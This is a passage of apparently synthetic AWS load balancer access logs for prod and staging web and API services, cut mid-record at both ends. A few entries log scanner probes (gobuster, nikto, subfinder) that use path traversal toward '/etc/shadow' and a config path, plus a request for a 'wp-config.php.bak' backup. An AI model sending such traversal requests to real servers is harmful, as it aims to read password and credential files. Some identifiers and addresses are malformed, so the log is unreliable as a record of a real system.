0.003886 302 302 576 1845 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d02f-b73b83c5952c488eb146e976" "prod-api-alb.example.com" "-" 4 2024-11-01T01:45:03.500605Z "forward" "-" "-" "10.0.148.191:443" "302" "-" "-" -https 2024-11-01T01:45:03.602966Z staging-alb 80.175.4.53:57592 187.169.230.147:8080 0.107913 0.422527 0.111190 200 200 340 13046 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d02f-6404d0474a1f4f0b8ab2101b" "staging-alb.example.com" "-" 3 2024-11-01T01:45:03.602966Z "forward" "-" "-" "187.169.230.147:8080" "200" "-" "-" -https 2024-11-01T01:45:05.200350Z prod-web-alb 81.217.230.250:31223 10.0.28.117:443 0.061070 0.073417 0.024299 200 200 524 4574 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d031-00bbe40aee0641cc891aa2dd" "prod-web-alb.example.com" "-" 8 2024-11-01T01:45:05.200350Z "forward" "-" "-" "10.0.28.117:443" "200" "-" "-" -https 2024-11-01T01:45:05.965822Z prod-web-alb 102.77.255.246:20603 10.0.116.94:443 0.062582 0.176125 0.092954 200 200 116 11763 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d031-9494365bd54c49f7b125f4f5" "prod-web-alb.example.com" "-" 9 2024-11-01T01:45:05.965822Z "forward" "-" "-" "10.0.116.94:443" "200" "-" "-" -http 2024-11-01T01:45:07.282092Z staging-alb 226.50.33.149:22413 187.125.42.219:443 0.047390 0.291355 0.046939 200 200 161 1901 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d033-bd7452839bdb4ee0b188a2f1" "staging-alb.example.com" "-" 3 2024-11-01T01:45:07.282092Z "forward" "-" "-" "187.125.42.219:443" "200" "-" "-" -http 2024-11-01T01:45:07.928623Z staging-alb 182.151.29.177:53501 124.48.59.175:8080 0.023768 0.517255 0.051318 200 200 945 11032 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d033-0c5bb0ee25734b3fa22a421c" "staging-alb.example.com" "-" 8 2024-11-01T01:45:07.928623Z "forward" "-" "-" "124.48.59.175:8080" "200" "-" "-" -https 2024-11-01T01:45:08.271170Z prod-web-alb 193.27.228.24:11785 10.0.210.145:443 0.047209 0.015562 0.059091 403 403 826 1569 "GET /images/../../../../etc/shadow HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d034-b9ee40e6757a44b7af21ce3f" "-" "-" 4 2024-11-01T01:45:08.271170Z "forward" "-" "-" "10.0.210.145:443" "403" "-" "-" -https 2024-11-01T01:45:09.337884Z staging-alb 45.155.205.185:55752 14.222.160.58:443 0.128317 0.254094 0.145885 404 404 419 9331 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d035-6a3c5cf61e9648f083d73f0f" "-" "-" 10 2024-11-01T01:45:09.337884Z "forward" "-" "-" "14.222.160.58:443" "404" "-" "-" -https 2024-11-01T01:45:09.828194Z prod-web-alb 248.143.252.230:10827 10.0.223.142:443 0.046043 0.384565 0.017356 301 301 5 5872 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d035-4aa6923633154bc1903a7426" "prod-web-alb.example.com" "-" 9 2024-11-01T01:45:09.828194Z "forward" "-" "-" "10.0.223.142:443" "301" "-" "-" -http 2024-11-01T01:45:11.579702Z staging-alb 143.145.0.144:35148 87.31.87.122:80 0.068000 0.274541 0.042899 200 200 938 7732 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d037-d08d154a3b594d9f8ba1624b" "staging-alb.example.com" "-" 9 2024-11-01T01:45:11.579702Z "forward" "-" "-" "87.31.87.122:80" "200" "-" "-" -https 2024-11-01T01:45:12.285752Z prod-api-alb 247.54.42.22:15634 10.0.80.163:443 0.006926 0.400188 0.053775 200 200 829 9582 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d038-b018773aaf6a4b6e86cf28f4" "prod-api-alb.example.com" "-" 3 2024-11-01T01:45:12.285752Z "forward" "-" "-" "10.0.80.163:443" "200" "-" "-" -http 2024-11-01T01:45:13.369987Z staging-alb 186.20.183.205:14149 232.148.193.69:80 0.102514 0.483025 0.059378 301 301 282 6848 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d039-b4652f9d7dc944babf585cbe" "staging-alb.example.com" "-" 6 2024-11-01T01:45:13.369987Z "forward" "-" "-" "232.148.193.69:80" "301" "-" "-" -http 2024-11-01T01:45:13.904559Z staging-alb 1.56.254.127:48993 67.214.177.164:80 0.053857 0.086159 0.054665 200 200 190 4326 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d039-2544c6d9b6354d1ca85b9fa3" "staging-alb.example.com" "-" 8 2024-11-01T01:45:13.904559Z "forward" "-" "-" "67.214.177.164:80" "200" "-" "-" -https 2024-11-01T01:45:15.290590Z prod-api-alb 232.131.244.236:30790 10.0.173.107:443 0.086788 0.017493 0.043603 302 302 772 9983 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d03b-def7e978056a42928ca6611f" "prod-api-alb.example.com" "-" 3 2024-11-01T01:45:15.290590Z "forward" "-" "-" "10.0.173.107:443" "302" "-" "-" -https 2024-11-01T01:45:15.751529Z prod-web-alb 3.31.194.133:47516 10.0.125.255:443 0.070538 0.193681 0.030752 404 404 273 9709 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d03b-53c34fc046054d529f3ddbf1" "prod-web-alb.example.com" "-" 3 2024-11-01T01:45:15.751529Z "forward" "-" "-" "10.0.125.255:443" "404" "-" "-" -https 2024-11-01T01:45:16.415556Z staging-alb 69.209.204.29:42339 20.158.23.32:443 0.116612 0.154973 0.092073 302 302 439 13213 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d03c-02035534b3e34ef9a6e1765a" "staging-alb.example.com" "-" 8 2024-11-01T01:45:16.415556Z "forward" "-" "-" "20.158.23.32:443" "302" "-" "-" -https 2024-11-01T01:45:17.676671Z prod-web-alb 48.236.136.225:46866 10.0.221.174:443 0.039611 0.275029 0.038784 200 200 139 1302 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d03d-d26240e580714dd1adda5ec5" "prod-web-alb.example.com" "-" 8 2024-11-01T01:45:17.676671Z "forward" "-" "-" "10.0.221.174:443" "200" "-" "-" -https 2024-11-01T01:45:19.323046Z prod-web-alb 169.31.3.255:25255 10.0.214.247:443 0.000784 0.197519 0.064586 200 200 917 3808 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d03f-5655f51574984ce79e6e71c0" "prod-web-alb.example.com" "-" 7 2024-11-01T01:45:19.323046Z "forward" "-" "-" "10.0.214.247:443" "200" "-" "-" -http 2024-11-01T01:45:20.058858Z staging-alb 6.142.249.115:63863 15.150.207.21:8080 0.051408 0.474911 0.141340 404 404 374 6834 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d040-39866e5c3a424172b5c0e9ad" "staging-alb.example.com" "-" 10 2024-11-01T01:45:20.058858Z "forward" "-" "-" "15.150.207.21:8080" "404" "-" "-" -https 2024-11-01T01:45:21.211918Z prod-api-alb 128.127.179.174:37487 10.0.168.91:443 0.031406 0.184840 0.036824 200 200 75 12452 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d041-7a3bfa70a71e40eca22c1a09" "prod-api-alb.example.com" "-" 9 2024-11-01T01:45:21.211918Z "forward" "-" "-" "10.0.168.91:443" "200" "-" "-" -http 2024-11-01T01:45:21.696990Z staging-alb 24.213.54.45:11686 180.95.82.192:443 0.035335 0.036434 0.131652 200 200 171 14939 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d041-0481e34de9d34302916e23ec" "staging-alb.example.com" "-" 5 2024-11-01T01:45:21.696990Z "forward" "-" "-" "180.95.82.192:443" "200" "-" "-" -https 2024-11-01T01:45:21.999633Z staging-alb 201.69.156.109:60197 176.149.192.106:8080 0.040385 0.321700 0.084094 200 200 642 12297 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d041-3c52e44fba434df88ee2baae" "staging-alb.example.com" "-" 8 2024-11-01T01:45:21.999633Z "forward" "-" "-" "176.149.192.106:8080" "200" "-" "-" -https 2024-11-01T01:45:22.611593Z prod-api-alb 185.181.166.125:17419 10.0.228.207:443 0.020769 0.367278 0.044274 401 401 945 1284 "POST /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d042-f51ef154e2114ecd809ba388" "-" "-" 6 2024-11-01T01:45:22.611593Z "forward" "-" "-" "10.0.228.207:443" "401" "-" "-" -https 2024-11-01T01:45:23.318004Z prod-api-alb 57.121.102.85:53922 10.0.185.52:443 0.015396 0.097990 0.041064 404 404 995 13750 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d043-198aa9972f2e4f69a59e7f25" "prod-api-alb.example.com" "-" 9 2024-11-01T01:45:23.318004Z "forward" "-" "-" "10.0.185.52:443" "404" "-" "-" -http 2024-11-01T01:45:23.664701Z staging-alb 116.158.118.161:48041 221.5.160.23:80 0.091099 0.547377 0.094165 302 302 451 689 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d043-d9a62e9c5d214e30bd01cf77" "staging-alb.example.com" "-" 8 2024-11-01T01:45:23.664701Z "forward" "-" "-" "221.5.160.23:80" "302" "-" "-" -https 2024-11-01T01:45:24.204973Z staging-alb 231.98.149.92:51009 101.144.69.54:8080 0.121501 0.400967 0.114034 200 200 745 12213 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d044-df11697d240e4278a948dc6c" "staging-alb.example.com" "-" 4 2024-11-01T01:45:24.204973Z "forward" "-" "-" "101.144.69.54:8080" "200" "-" "-" -https 2024-11-01T01:45:24.814692Z prod-api-alb 183.107.145.158:41462 10.0.80.9:443 0.010250 0.496893 0.085587 200 200 424 5505 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d044-38290eebf0584b3e80c70c40" "prod-api-alb.example.com" "-" 1 2024-11-01T01:45:24.814692Z "forward" "-" "-" "10.0.80.9:443" "200" "-" "-" -https 2024-11-01T01:45:25.997181Z staging-alb 54.31.167.155:24636 225.112.142.150:8080 0.044987 0.464204 0.055319 200 200 277 3153 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d045-9f8a39bb51474207adb9b589" "staging-alb.example.com" "-" 2 2024-11-01T01:45:25.997181Z "forward" "-" "-" "225.112.142.150:8080" "200" "-" "-" -http 2024-11-01T01:45:27.666496Z staging-alb 45.155.205.157:60121 67.253.251.89:8080 0.064866 0.441902 0.046363 404 404 904 11347 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d047-e303ce8523f74ffeb6392936" "-" "-" 6 2024-11-01T01:45:27.666496Z "forward" "-" "-" "67.253.251.89:8080" "404" "-" "-" -http 2024-11-01T01:45:28.487655Z staging-alb 33.80.153.47:46506 117.232.223.204:8080 0.005929 0.454708 0.139951 200 200 288 963 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d048-422c06936a26400390ac0313" "staging-alb.example.com" "-" 9 2024-11-01T01:45:28.487655Z "forward" "-" "-" "117.232.223.204:8080" "200" "-" "-" -https 2024-11-01T01:45:28.881015Z staging-alb 26.54.202.193:43496 141.195.69.108:443 0.115487 0.234313 0.031296 404 404 665 7569 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d048-34e489cd0eaf449082e513ee" "staging-alb.example.com" "-" 10 2024-11-01T01:45:28.881015Z "forward" "-" "-" "141.195.69.108:443" "404" "-" "-" -https 2024-11-01T01:45:30.504082Z prod-api-alb 103.58.179.232:36167 10.0.101.245:443 0.099883 0.022469 0.004987 200 200 18 14041 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d04a-bb95d14947fb485a9c5e32ed" "prod-api-alb.example.com" "-" 3 2024-11-01T01:45:30.504082Z "forward" "-" "-" "10.0.101.245:443" "200" "-" "-" -https 2024-11-01T01:45:32.457889Z prod-web-alb 63.1.179.127:13396 10.0.94.90:443 0.008520 0.394171 0.096136 200 200 676 12222 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d04c-153a7df3c35f44a8a56e2beb" "prod-web-alb.example.com" "-" 2 2024-11-01T01:45:32.457889Z "forward" "-" "-" "10.0.94.90:443" "200" "-" "-" -https 2024-11-01T01:45:34.077020Z prod-web-alb 186.254.77.66:57635 10.0.173.126:443 0.027905 0.338159 0.000846 404 404 895 12178 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d04e-062af9a72d50449b847f2bab" "prod-web-alb.example.com" "-" 5 2024-11-01T01:45:34.077020Z "forward" "-" "-" "10.0.173.126:443" "404" "-" "-" -https 2024-11-01T01:45:35.444910Z prod-api-alb 247.182.193.241:21719 10.0.34.205:443 0.013970 0.447757 0.038827 404 404 854 3783 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d04f-60dff6e210f347a1a1723ebd" "prod-api-alb.example.com" "-" 3 2024-11-01T01:45:35.444910Z "forward" "-" "-" "10.0.34.205:443" "404" "-" "-" -http 2024-11-01T01:45:36.561185Z staging-alb 172.134.99.14:23130 231.57.71.194:443 0.042198 0.489070 0.079474 200 200 20 381 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d050-9054d018826c4cb7b0f573f5" "staging-alb.example.com" "-" 1 2024-11-01T01:45:36.561185Z "forward" "-" "-" "231.57.71.194:443" "200" "-" "-" -https 2024-11-01T01:45:38.125370Z prod-api-alb 241.19.177.52:43155 10.0.147.174:443 0.005094 0.178811 0.061830 404 404 42 455 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d052-ea6033303ed1468f9960d61e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:45:38.125370Z "forward" "-" "-" "10.0.147.174:443" "404" "-" "-" -https 2024-11-01T01:45:39.569326Z prod-api-alb 47.30.52.103:29592 10.0.83.31:443 0.086626 0.383288 0.015218 200 200 452 3401 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d053-e87332624715459eb709f24e" "prod-api-alb.example.com" "-" 10 2024-11-01T01:45:39.569326Z "forward" "-" "-" "10.0.83.31:443" "200" "-" "-" -https 2024-11-01T01:45:39.686162Z prod-web-alb 137.178.66.227:10655 10.0.80.172:443 0.049783 0.019960 0.002527 404 404 702 10228 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d053-8609176bd0fd4c47b50ebe09" "prod-web-alb.example.com" "-" 0 2024-11-01T01:45:39.686162Z "forward" "-" "-" "10.0.80.172:443" "404" "-" "-" -https 2024-11-01T01:45:41.160841Z staging-alb 255.41.250.231:52978 132.186.13.235:443 0.061454 0.008176 0.087694 200 200 125 3824 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d055-dc97e6437d3a48f5ab48f81c" "staging-alb.example.com" "-" 6 2024-11-01T01:45:41.160841Z "forward" "-" "-" "132.186.13.235:443" "200" "-" "-" -https 2024-11-01T01:45:41.853244Z prod-api-alb 71.160.229.159:19699 10.0.173.110:443 0.006962 0.187164 0.022791 200 200 913 3066 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d055-db62f85dc055445489660457" "prod-api-alb.example.com" "-" 5 2024-11-01T01:45:41.853244Z "forward" "-" "-" "10.0.173.110:443" "200" "-" "-" -https 2024-11-01T01:45:43.852077Z staging-alb 191.147.76.116:53651 114.190.196.225:8080 0.026325 0.558100 0.123098 200 200 723 1798 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d057-1c5a47809ecd410f8a680135" "staging-alb.example.com" "-" 3 2024-11-01T01:45:43.852077Z "forward" "-" "-" "114.190.196.225:8080" "200" "-" "-" -https 2024-11-01T01:45:45.110058Z prod-api-alb 167.142.189.243:57454 10.0.175.179:443 0.033333 0.103079 0.025476 301 301 281 8883 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d059-4735118db0084f1d89197971" "prod-api-alb.example.com" "-" 8 2024-11-01T01:45:45.110058Z "forward" "-" "-" "10.0.175.179:443" "301" "-" "-" -https 2024-11-01T01:45:45.416892Z prod-web-alb 232.157.99.130:35461 10.0.216.113:443 0.050429 0.326029 0.065589 301 301 830 13820 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d059-bb8962d6b248410bb01494e1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:45:45.416892Z "forward" "-" "-" "10.0.216.113:443" "301" "-" "-" -https 2024-11-01T01:45:45.789164Z prod-web-alb 120.241.56.221:41409 10.0.199.138:443 0.012163 0.316621 0.080041 302 302 143 3418 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d059-64861b2584724d46a7199520" "prod-web-alb.example.com" "-" 8 2024-11-01T01:45:45.789164Z "forward" "-" "-" "10.0.199.138:443" "302" "-" "-" -https 2024-11-01T01:45:46.627199Z prod-web-alb 63.27.192.49:24103 10.0.41.23:443 0.056286 0.438955 0.029106 404 404 730 6441 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d05a-4160dea9b26b441f9841bcef" "prod-web-alb.example.com" "-" 7 2024-11-01T01:45:46.627199Z "forward" "-" "-" "10.0.41.23:443" "404" "-" "-" -http 2024-11-01T01:45:47.071621Z staging-alb 219.73.167.249:61456 75.103.243.16:80 0.047939 0.382829 0.053042 200 200 425 4919 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d05b-9471d08dcaed4e1d907926fa" "staging-alb.example.com" "-" 5 2024-11-01T01:45:47.071621Z "forward" "-" "-" "75.103.243.16:80" "200" "-" "-" -https 2024-11-01T01:45:47.477428Z prod-api-alb 28.64.99.172:51716 10.0.231.142:443 0.074057 0.258889 0.082154 404 404 705 12796 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d05b-70bf32ad7685476fa315ddec" "prod-api-alb.example.com" "-" 7 2024-11-01T01:45:47.477428Z "forward" "-" "-" "10.0.231.142:443" "404" "-" "-" -https 2024-11-01T01:45:48.226339Z prod-web-alb 178.70.6.233:10581 10.0.144.127:443 0.096128 0.301607 0.022896 404 404 989 4955 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 